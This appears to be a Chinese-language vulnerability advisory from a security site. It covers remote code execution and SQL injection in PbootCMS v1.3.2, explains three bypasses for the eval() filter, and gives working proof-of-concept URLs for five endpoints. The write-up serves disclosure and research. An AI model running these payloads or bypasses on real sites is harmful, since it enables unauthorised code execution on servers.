PbootCMS v1.3.2命令執行和SQL注入漏洞
0x00
前幾天看到個PbootCMS,然後打算審計一波,網上找了這個cms之前的漏洞,看到有表哥審計過這個文章了, ofollow,noindex" target="_blank">https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=45649&page=1#pid506915 ,可能別的表哥也發現了這個漏洞,這裡簡單說下我的思路。
0x01 命令執行漏洞
這個漏洞目前找到5處,新版本和老版本不同的是新版本加了過濾,但是可以繞過,漏洞函式在ParserController.php裡。在2330多行這裡,parserIfLabel()方法中呼叫了eval函式。而且前面有過濾。先忽略過濾內容,一會回來看,看下哪裡呼叫了parserfLabel方法。
找到了parserIfLabel()方法,而且從下面可以看到在ParserController.php中parserAfter()方法呼叫了parserIfLabel()方法。
再跟進下parserAfter()方法。根據註釋和程式碼可以分析出這是這個模板在前端渲染的時候,解析標籤步驟如下:解析框架標籤,解析前置公共標籤,解析當前位置標籤,解析分類資訊標籤,解析內容標籤,解析公共後置標籤。問題出在最後一步“解析公共後置標籤”這裡,這裡存在eval()函式呼叫。這個函式存在的地方其實可以用一句話表示:
只要存在把使用者輸入輸出到前端的地方,就會有程式碼執行漏洞。
找到漏洞點,看下過濾。回到parserIfLabel()方法,可以看到“$pattern = ‘/{pboot:if(([^}]+))}([\s\S]*?){\/pboot:if}/’;”這個正則把標籤 if 後面的內容取了出來,然後經過過濾並執行。這裡主要看下最嚴重的過濾,在第2316-2331行這裡。這裡會用正則取出“(”前面的字串(不包括特殊符號),也就是說@eval(‘phpinfo()’),會取出eval和phpinfo兩個字串,然後呼叫function_exists()函式,如果這兩個方法存在,就不會進入eval()裡面。
// 帶有函式的條件語句進行安全校驗 if (preg_match_all('/([\w]+)([\s]+)?\(/i', $matches[1][$i], $matches2)) { foreach ($matches2[1] as $value) { if ((function_exists($value) || preg_match('/^eval$/i', $value)) && ! in_array($value, $white_fun)) { $danger = true; break; } } } // 如果有危險函式,則不解析該IF if ($danger) { continue; } else { $matches[1][$i] = decode_string($matches[1][$i]); // 解碼條件字串 }
這個是新版本增加的過濾,這裡有很多繞過方法,下面說三個:
1 使用空位元組,在php中,phpinfo()可以用phpinfo%01()~phpinfo%19()代替,就可以使function_exists()方法返回False。這個繞過只有在留言的地方可以用,經過測試只有那裡會進行url解碼。 2 轉義,phpinfo(),換成phpinf\o()、php\info() 之類的,function_exists()方法也會返回False。 3 混淆,程式碼為$a=$_GET[b];$a();,傳參的時候加上&b=phpinfo。
下面找一下呼叫parserAfter()方法的地方,Index,About,Content,List,Search
驗證下是否可以控制前端輸出,以Index試一下,可以看到已經可以控制前端輸出,說明存在漏洞
構造payload: [http://127.0.0.1/PbootCMS/index.php/index/index?keyword=](http://127.0.0.1/PbootCMS/index.php/index/index?keyword=){pboot:if(1)$a=$_GET[b];$a();;//)})}}{/pboot:if}&b=phpinfo
其他幾處同理
POC:
http://127.0.0.1/PbootCMS/index.php/index/index?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo http://127.0.0.1/PbootCMS/index.php/Content/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo http://127.0.0.1/PbootCMS/index.php/List/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo http://127.0.0.1/PbootCMS/index.php/About/2?keyword={pboot:if(1)$a=$_GET[b];$a();//)})}}{/pboot:if}&b=phpinfo http://127.0.0.1/PbootCMS/index.php/Search/index?keyword={pboot:if(1)$a=$_GET[title];$a();//)})}}{/pboot:if}&title=phpinfo
留言那裡還有一處,但是需要管理員開啟留言展示,利用有限。
0x02 SQL%E6%B3%A8%E5%85%A5/">SQL注入漏洞
這個注入在1.3.2已經修復了,簡單說下,漏洞存在於ParserController.php中parserSearchLabel()方法。新版本已經修復,引數名不能含有除了“-”,“.”外的特殊字元。
這個注入點在引數名,前面有AND,可以用報錯注入。
0x03 漏洞POC
目前FOFA客戶端平臺已經更新該漏洞檢測POC。
本文由白帽彙編寫,轉載請註明 來自白帽匯Nosec: https://nosec.org/home/detail/2001.html
檢視更多安全動態,請訪問[ nosec.org ]